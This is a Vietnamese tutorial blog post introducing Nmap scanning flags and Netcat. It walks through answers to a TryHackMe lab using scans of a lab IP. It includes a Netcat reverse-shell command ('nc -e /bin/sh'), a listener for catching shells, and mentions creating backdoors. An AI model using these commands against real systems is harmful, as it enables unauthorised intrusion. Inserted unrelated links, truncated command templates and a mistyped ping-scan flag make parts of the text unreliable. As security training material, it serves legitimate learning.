Nmap Là Gì

 - 

Chào mừng các bạn đã đến với bài 1 của series Kali Linux Căn Bản. Hôm nay chúng ta sẽ học cách sử dụng Nmap và Netcat. Đây là hai công cụ rất quan trọng vì được ứng dụng rất nhiều trong quá trình penetration testing.

Trong bài sẽ có sử dụng kiến thức ở 2 series Mạng Căn Bản Linux Căn Bản, bạn nào còn yếu kiến thức về hệ thống mạng và giao diện dòng lệnh trên Linux thì nên tham khảo trước 2 series này nhé.

1 – Công cụ Nmap (Task 2)

1a – Nmap là gì?

Nmap, viết tắt của Network Mapper, là một công cụ miễn phí và mã nguồn mở được sử dụng cho mục đích thu thập thông tin của mạng mục tiêu hoặc kiểm tra an ninh của hệ thống mạng đang quản lý.

Nmap có thể được sử dụng để:

Xác định tất cả các hosts hoặc servers hiện có trong mạngXác định một server đang mở những ports nào và những dịch vụ nào đang chạy trên các ports đóXác định các dịch vụ cần chạy trên host hoặc server có đang hoạt động tốt không? (Nếu dịch vụ ngừng chạy, ports sẽ bị đóng)Xác định những hosts hoặc servers đang chạy hay đang tắtXác định hệ điều hành đang chạy của một host hoặc server Quét lỗi bảo mật các dịch vụ đang được chạy trên một host hoặc serverKiểm tra xem tường lửa có khóa các ports không được phép truy cập không?v.v

Nmap có thể được dùng để quét các mạng lớn và cũng có thể được dùng để quét các mạng nhỏ. Hiện tại Nmap có thể được sử dụng trên các hệ điều hành Linux, Windows và MacOS. Ngoài giao diện dòng lệnh, Nmap còn có một phiên bản với giao diện người dùng được gọi là Zenmap.

Bạn đang xem: Nmap là gì


*
H1.1 Giao diện Zenmap
*
H1.2 Giao diện dòng lệnh của Nmap

Lưu ý:

Khi chạy Nmap trên giao diện dòng lệnh, bạn cần phải chạy với sudo. Trong suốt quá trình quét mục tiêu, Nmap sẽ có lúc cần những tài nguyên hệ thống hoặc phân quyền ở cấp root, đó là lí do Nmap cần chạy với sudo hoặc với root.

1b – Cách thức sử dụng Nmap

Cú pháp của câu lệnh Nmap như sau:


nmap
Bạn có thể chạy Nmap chỉ với tên câu lệnh và IP của mục tiêu cần quét ví dụ:


nmap 192.168.0.2
Tuy nhiên, lúc này, Nmap sẽ chỉ scan 1000 TCP ports phổ biến nhất mà thôi và nó cũng sẽ không xuất ra bất cứ thông tin gì trong suốt quá trình scan; chỉ cho đến khi scan xong toàn bộ 1000 TCP ports thì nó mới xuất ra kết quả. Điều này dẫn đến vài bất tiện sau:

Bạn không hề biết quá trình scan đang diễn ra thế nào, liệu có lỗi gì hay không và liệu bạn phải chờ trong bao lâu?Rất nhiều server chạy các services quan trọng trên UDP ports hoặc các TCP ports trải dài từ port 1000 đến port 65535. Do đó việc chạy Nmap như trên sẽ có khả năng bỏ lỡ rất nhiều thông tin quan trọng.

Để khắc phục 2 vấn đề trên, chúng ta cần sử dụng các flags của Nmap. Các flags thường được sử dụng phổ biến bao gồm:

nmap -sN /
-sn (ping scan): Ngoài khả năng scan toàn bộ network để tìm hosts và servers đang online, flag -sn còn có thể được dùng để xác định xem một host hoặc server đang online hay offline. Cú pháp như sau
nmap -sN
-Pn: Trước khi tiến hành scan ports trên server đối tượng mục tiêu, Nmap sẽ kiểm tra xem server mục tiêu có đang online hay không? Quá trình này sẽ tốn một khoản thời gian nhất định. Do đó nếu bạn đã biết chắc chắn server mục tiêu luôn luôn online, bạn có thể bỏ qua bước xác định này với flag -Pn. Lúc này, Nmap sẽ mặc định tất cả những hosts hoặc servers bạn muốn quét đều đang online và sẽ bỏ qua quá trình xác định trạng thái hoạt động của (các) mục tiêu.-p-: Khi sử dụng flag -p-, Nmap sẽ tự động scan 65535 ports của mục tiêu. Quá trình này tuy tốn rất nhiều thời gian, nhưng là một quy trình quan trọng và chúng ta không nên bỏ qua. Bạn nào quên khái niệm về port có thể xem lại bài sau.Bạn cũng có thể sử dụng flag -p để scan một hoặc một nhóm port nào đó ví dụ:Để scan port 8888 của mục tiêu:


nmap -p8888
Để scan các port 1000, 4000, 7888 của mục tiêu:


nmap -p1000,4000,7888
Để scan một dãy ports nhất định ví dụ từ 2000 đến 3500:


nmap -p2000-3500
-sV (scan service version): Flag -sV sẽ cho bạn biết những dịch vụ nào đang được chạy ứng với những ports vừa tìm được, đồng thời cung cấp tên và version của những dịch vụ đó. Đây là thông tin rất hữu ích trong quá trình tìm lỗi xâm nhập trong pentest. -sU (scan UDP ports): Scan tất cả UDP ports. Đôi khi sẽ có những dịch vụ chạy trên cả UDP ports, do đó khi pentest các bạn nhớ scan cả UDP ports nhé.-O (OS scan): Xác định hoặc dự đoán hệ điều hành đang được chạy trên server hoặc host mục tiêu.-sC (script scan): Với flag -sC, Nmap sẽ sử dụng những scripts tìm lỗi hoặc thu thập thông tin (được gọi là Nmap Scripting Engine – NSE) mặc định được tích hợp bên trong để thu thập thông tin hoặc quét lỗi bảo mật trên hệ thống mục tiêu. Ngoài ra, bạn có thể sử dụng flag –script để chạy một script tìm lỗi nhất định nào đó thay vì chạy các scripts được mặc định của Nmap. Để xem tất cả các scripts được tích hợp bên trong Nmap, các bạn có thể sử dụng câu lệnh sau:
ls /usr/share/nmap/scripts
Bên trên là một số ít các flags phổ biến ở cấp căn bản của Nmap mà mình thường dùng khi chơi CTF. Những người dùng Nmap lâu năm họ sẽ có nhiều cách để tùy biến Nmap theo hướng mà họ mong muốn, nhưng vấn đề đó mình sẽ không đề cập đến ở đây, bạn nào hứng thú có thể tham khảo website chính chủ của Nmap để học hỏi thêm nhé.

Ngoài ra, bất cứ lúc nào, nếu quên chức năng của các flags hoặc muốn tìm hiểu thêm các flags khác của Nmap, bạn luôn luôn có thể dùng câu lệnh sau:


man nmap

*
H1b.1 – man nmap

Bạn nào quên cách sử dụng lệnh man, xin xem lại phần 3 của bài viết sau.

1c – Thực hành câu lệnh Nmap (Task 2)

Ok sau phần lý thuyết phía trên, bây giờ chúng ta sẽ đi đến phần thực hành nhé. Chúng ta sẽ khởi động máy thực hành trên server CC: Pentesting của TryHackMe lên. Các bạn bấm nút Deploy màu xanh lá cây và chờ khoản hơn 1 phút cho hệ thống khởi động và hiện IP của server lên nhé.

*
H1c.1

Với 9 câu hỏi lý thuyết đầu tiên, các bạn dựa vào các kiến thức ở phần trên cộng với tra cứu trang hướng dẫn sử dụng của lệnh Nmap thông qua câu lệnh bên dưới để trả lời nhé.


man nmap
Mình sẽ hướng dẫn các bạn 4 câu cuối cùng.

Xem thêm: Lưỡi Bị Trắng Là Biểu Hiện Của Bệnh Gì ? Lưỡi Trắng: Vấn Đề Khoang Miệng Cần Lưu Ý


*
H1c.2

Ok, chúng ta sẽ đi qua từng câu hỏi nhé.

1 – How many ports are open on the machine (trên server có bao nhiêu ports đang mở?)

Chúng ta sẽ dùng câu lệnh sau:


nmap -vv -T4 -Pn -p- 10.10.207.69
Lưu ý:

IP của bạn không nhất thiết phải giống IP của mình nhé.

2 – What services are running on the machine (Tên của những dịch vụ nào đang chạy trên các ports đang mở)?

Và câu 3

3 – What is the version of the service (Dịch vụ đang chạy có version là bao nhiêu)?

Chúng ta sẽ sử dụng câu lệnh sau:


nmap -vv -T4 -Pn -sV 10.10.207.69
Gợi ý cho câu 2:

Tên dịch vụ không phải là tên của giao thức.

4 – What is the output of the http-title script(included in default scripts) (Cho biết kết quả sau khi chạy script http-title (script này có bao gồm trong flag -sC))?

Chúng ta sẽ có 2 giải pháp cho câu hỏi này

Giải pháp 1:


nmap -vv -T4 -Pn -sC 10.10.207.69
Giải pháp 2:


nmap -vv -T4 -Pn --script=http-title 10.10.207.69
Tips:

Thay vì phải đi từng câu lệnh Nmap như trên, chúng ta hoàn toàn có thể nhóm nó lại thành một câu lệnh duy nhất. Ở đây, để tiết kiệm thời gian và vì mình đã làm trước rồi, nên mình sẽ chỉ scan 1000 TCP ports đầu tiên thôi. Khi làm việc thực tế, các bạn hãy luôn cố gắng scan đủ 65535 ports và cả UDP ports nhé. Câu lệnh của mình khi nhóm lại sẽ như sau:


nmap -vv -T4 -Pn -sV --script=http-title 10.10.207.69
Sau khi kết quả câu lệnh trên được xuất ra, các bạn hãy đọc kỹ kết quả sẽ trả lời được cả 4 câu cuối của task 2 nhé.

2 – Công cụ Netcat (nc) (Task 3)

2a – Giới thiệu công cụ Netcat

Netcat hay còn được viết tắt là nc là một công cụ trên giao diện dòng lệnh tuy đơn giản nhưng lại cực kỳ mạnh mẽ. Netcat được cài mặc định trên rất nhiều Linux distros ví dụ Ubuntu, Kali Linux, v.v. Necat có thể được cài đặt và sử dụng không chỉ trên các hệ điều hành Linux, mà còn cả cho Windows và MacOS nữa.

Netcat có thể được sử dụng cho các mục đích sau:

Port scanning – nhằm xác định xem port đang mở hay đang đóngTruyền dữ liệu giữa 2 máy Tạo backdoor (cổng hậu)v.v.

Cú pháp của câu lệnh Netcat như sau:


nc
2b – Một số câu lệnh Netcat hay được sử dụng

Để thực hành sử dụng Netcat, chúng ta sẽ cần 2 máy Linux hoặc Windows có cài Necat. Vì ở hiện tại, chúng ta chỉ có duy nhất máy Kali Linux thôi, nên mình sẽ để phần thực hành lại sau nhé.

Xem thêm: 5 Đặc Điểm Nổi Bật Của Hạt Nhựa Tpu Là Gì ? Nhựa Nhiệt Dẻo Tpu Là Gì

Câu lệnh 1: Đón reverse shell bằng Netcat


nc -nlvp
Câu lệnh trên có các thành phần sau:

-n:Mang ý nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain name-l:Chế độ lắng nghe các kết nối đến-v:Verbose – Cho biết quá trình lắng nghe đang diễn ra thế nào-p:Chỉ định port để lắng nghe

Ví dụ ta có câu lệnh sau


nc -nlvp 8000
Một cách ngắn gọn, câu lệnh trên sẽ mở port 8000 trên máy của hacker ở trạng thái lắng nghe các kết nối trỏ đến port 8000. Chúng ta đã thực hành câu lệnh này một lần trong bài tấn công và xâm nhập server Pickle Rick.

Câu lệnh 2: Tạo kết nối reverse shell


nc -e /bin/sh
Trong đó:

-e /bin/sh: Sau khi kết nối thành công để mục tiêu thì thực thi /bin/sh (tuy nhiên không phải version nào của Netcat cũng sẽ hỗ trợ flag -e)

Câu lệnh 3: Chuyển file giữa 2 máy

Trên máy chuyển file sẽ chạy câu lệnh sau:


nc -w 3 Ví dụ:nc -w 3 192.168.0.12 8888
Trong đó:

-w 3: Dùng để chỉ thời gian mà Netcat sẽ chờ phản hồi từ đích đến, nếu không có bất cứ phản hồi nào, Necat sẽ tự động hủy kết nối sau 3 giây.

Câu lệnh trên có nghĩa là chúng ta sẽ dùng Netcat tạo một kết nối đến port 8888 của địa chỉ 192.168.0.12 và sẽ chuyển file hello.txt tới địa chỉ IP đó thông qua kết nối vừa được tạo. Netcat sẽ chờ máy 192.168.0.12 trong 3 giây, nếu máy đích đến không phản hồi, Netcat sẽ tự động ngắt kết nối.

Trên máy nhận file:

Chúng ta chạy câu lệnh sau:


nc -lp > Ví dụ: nc -lp 8888 > hello.txt
Câu lệnh trên có nghĩa là chúng ta sẽ mở port 8888 và lắng nghe các kết nối trỏ tới. Khi có kết nối trỏ tới và file hello.txt được chuyển đến, chúng ta sẽ xuất dữ liệu được chuyển ra và lưu vào file có tên hello.txt trên máy nhận file.

Để học thêm về các tính năng của netcat, các bạn có thể dùng câu lệnh sau:


man nc
Các bạn hãy sử dụng các thông tin bên trong man nc và các thông tin trong bài để trả lời câu hỏi task 4 nhé.